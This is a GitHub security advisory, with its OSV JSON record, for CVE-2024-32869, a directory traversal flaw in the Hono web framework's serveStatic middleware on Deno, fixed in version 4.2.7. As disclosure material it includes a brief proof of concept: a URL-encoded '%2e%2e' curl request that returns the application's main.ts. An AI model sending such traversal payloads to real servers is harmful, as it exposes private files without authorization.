ghsa-3mpf-rcc7-5347
Vulnerability from github
Published
2024-04-23 16:20
Modified
2024-04-24 14:26
Severity ?
5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Summary
Hono vulnerable to Restricted Directory Traversal in serveStatic with deno
Details

Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial https://hono.dev/getting-started/deno

PoC

bash $ tree . ├── deno.json ├── deno.lock ├── main.ts ├── README.md └── static └── a.txt

source

```jsx import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts' import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'

const app = new Hono() app.use('/static/*', serveStatic({ root: './' }))

Deno.serve(app.fetch) ```

request

bash curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32869"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-23T16:20:49Z",
    "nvd_published_at": "2024-04-23T21:15:48Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen using serveStatic with deno, it is possible to directory traverse where main.ts is located.\n\nMy environment is configured as per this tutorial\nhttps://hono.dev/getting-started/deno\n\n### PoC\n\n```bash\n$ tree\n.\n\u251c\u2500\u2500 deno.json\n\u251c\u2500\u2500 deno.lock\n\u251c\u2500\u2500 main.ts\n\u251c\u2500\u2500 README.md\n\u2514\u2500\u2500 static\n    \u2514\u2500\u2500 a.txt\n```\n\nsource\n\n```jsx\nimport { Hono } from \u0027https://deno.land/x/hono@v4.2.6/mod.ts\u0027\nimport { serveStatic } from \u0027https://deno.land/x/hono@v4.2.6/middleware.ts\u0027\n\nconst app = new Hono()\napp.use(\u0027/static/*\u0027, serveStatic({ root: \u0027./\u0027 }))\n\nDeno.serve(app.fetch)\n```\n\nrequest\n\n```bash\ncurl localhost:8000/static/%2e%2e/main.ts\n```\n\nresponse is content of main.ts\n\n### Impact\n\nUnexpected files are retrieved.",
  "id": "GHSA-3mpf-rcc7-5347",
  "modified": "2024-04-24T14:26:48Z",
  "published": "2024-04-23T16:20:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-3mpf-rcc7-5347"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32869"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/commit/92e65fbb6e5e7372650e7690dbd84938432d9e65"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/hono"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hono vulnerable to Restricted Directory Traversal in serveStatic with deno"
}


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